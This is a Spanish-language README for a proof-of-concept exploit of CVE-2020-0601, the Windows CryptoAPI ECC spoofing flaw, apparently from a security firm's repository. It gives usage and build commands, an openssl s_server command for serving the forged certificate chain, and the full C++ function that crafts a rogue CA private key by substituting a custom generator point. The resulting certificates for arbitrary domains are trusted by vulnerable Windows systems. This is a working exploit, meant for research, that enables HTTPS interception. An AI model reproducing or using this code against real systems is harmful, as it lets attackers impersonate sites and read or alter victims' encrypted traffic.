gremwell/cve-2020-0601_pocExploit de prueba de concepto para CVE-2020-0601 (suplantación de CryptoAPI de Windows) que genera certificados CA falsos para interceptar tráfico HTTPS, con código fuente detallado que explica el ataque de curva elíptica.
El código fuente de esta herramienta está destinado a ayudar a comprender la vulnerabilidad CVE-2020-0601 descubierta en la API de criptografía de Windows, consulte la visión general de CERT.
La herramienta en sí se puede utilizar para producir un certificado para un dominio arbitrario que será firmado por una autoridad de certificación maliciosa. Esta herramienta produce una CA maliciosa con la misma clave pública que la proporcionada en la línea de comandos.
Cuando un navegador web de una compilación vulnerable de Windows apunta a este certificado, se considerará como de confianza. Esto permite que un atacante basado en red, adecuadamente posicionado, intercepte el tráfico de la víctima.
Ejecute la herramienta proporcionando la ruta a un certificado de Windows de confianza:
./cve-2020-0601_poc ~/path/to/USERTrustECCCertificationAuthority.crt
En el ejemplo anterior se utiliza una Autoridad de Certificación ECC USERTrust con la siguiente clave pública:
04:1A:AC:54:5A:A9:F9:68:23:E7:7A:D5:24:6F:53:C6:5A:D8:4B:AB:C6:D5:B6:D1:E6:73:71:AE:DD:9C:D6:0C:61:FD:DB:A0:89:03:B8:05:14:EC:57:CE:EE:5D:3F:E2:21:B3:CE:F7:D4:8A:79:E0:A3:83:7E:2D:97:D0:61:C4:F1:99:DC:25:91:63:AB:7F:30:A3:B4:70:E2:C7:A1:33:9C:F3:BF:2E:5C:53:B1:5F:B3:7D:32:7F:8A:34:E3:79:79
La herramienta guardará varios certificados y claves en su directorio de trabajo actual:
test-cve_evil-ca.crt -- CA maliciosa
test-cve_evil-privkey.key -- clave privada de la CA maliciosa en formato PEM
test-cve_evil-privkey-pk8.key -- clave privada de la CA maliciosa en formato PKCS#8
test-cve_host-cert.crt -- certificado del host objetivo (example.com por defecto)
test-cve_host-privkey.key -- clave privada del host objetivo (example.com por defecto)
Para probar los certificados, ejecute openssl s_server de la siguiente manera y redirija las solicitudes de https://example.com/ desde su máquina Windows vulnerable hacia él:
sudo openssl s_server -cert test-cve_host-cert.crt -key test-cve_host-privkey.key -chainCAfile test-cve_evil-ca.crt -www -accept 443
¡Asegúrese de que el certificado original esté en caché!
El resultado debería verse así:
cmake se utiliza para generar el archivo make para compilar esta herramienta. Como dependencias se necesitan las siguientes librerías:
Compilación:
mkdir build
cd build
cmake ..
make
En algún momento se agregará una descripción completa (relativamente) al sitio web de Gremwell.
Comience por mirar el archivo main.cpp. Llama a varios envoltorios de OpenSSL que son importantes, pero no están relacionados con la vulnerabilidad en sí. La parte más interesante está en el archivo cve-2020-0601_poc.cpp:
bool craftEvilPrivKey(const char *caPubKeyRaw, size_t caPubKeyRawLen,
char *outEvilPrivKeyPKCS8, size_t maxSizePKCS8, size_t *outEvilPrivKeyPKCS8Len,
bool doSave, const char *evilPrivKeyFileName)
{
// load public key of the provided certificate into native CryptoPP type
DL_Keys_ECDSA<ECP>::PublicKey caPubKey;
caPubKey.Load(CryptoPP::ArraySource((const CryptoPP::byte *)caPubKeyRaw,
caPubKeyRawLen, true).Ref());
// generate a private key using the same curve as in the provided CA certificate
CryptoPP::AutoSeededRandomPool prng;
DL_Keys_ECDSA<ECP>::PrivateKey privKeyBase;
privKeyBase.Initialize(prng, caPubKey.GetGroupParameters());
// get the private key elliptic curve parameters
CryptoPP::Integer privKeyBaseExp = privKeyBase.GetPrivateExponent();
ECP privKeyBaseCurve = privKeyBase.GetGroupParameters().GetCurve();
CryptoPP::Integer privKeyBaseOrder = privKeyBase.GetGroupParameters().GetSubgroupOrder();
// calculate an inverse value of the private key
CryptoPP::Integer privKeyInverse = CryptoPP::EuclideanMultiplicativeInverse(privKeyBaseExp, privKeyBaseOrder);
// produce our custom generator (base point) as a multiplication of the inverse value of our private key
// and the public key of the provided CA certificate
ECP::Point caPubKeyQ = caPubKey.GetPublicElement();
ECP::Point evilG = privKeyBaseCurve.ScalarMultiply(caPubKeyQ, privKeyInverse);
// create an "evil" private key object using the base private's key exponent and curve but
// with our "evil" generator (base point)
DL_Keys_ECDSA<ECP>::PrivateKey evilPrivKey;
evilPrivKey.Initialize(privKeyBaseCurve, evilG, privKeyBaseOrder, privKeyBaseExp);
// convert evil private key into PKCS8 format
CryptoPP::ArraySink evilPrivKeyPKCS8As((CryptoPP::byte *)outEvilPrivKeyPKCS8, maxSizePKCS8);
evilPrivKey.Save(evilPrivKeyPKCS8As.Ref());
*outEvilPrivKeyPKCS8Len = evilPrivKeyPKCS8As.TotalPutLength();
if (doSave) {
// save it as-is so this can be imported by some tools
evilPrivKey.Save(CryptoPP::FileSink(evilPrivKeyFileName).Ref());
}
// the code below converts the key to DER format
// however, as we have here our custom curve (not the "named" one), most of the
// tools are not able to properly import it. thus, leaving this code commented-out
#ifdef SUPPORT_DER_ENCODING
CryptoPP::ArraySink evilPrivKeyDerAs((CryptoPP::byte *)outEvilPrivKeyDer, maxSizeDer);
privKeyToDer(evilPrivKey, evilPrivKeyDerAs.Ref());
*outEvilPrivKeyDerLen = evilPrivKeyDerAs.TotalPutLength();
#endif
return true;
}
Los comentarios aquí deberían ser bastante autoexplicativos. :-)
Gracias al blog de kudelskisecurity y las referencias allí mencionadas.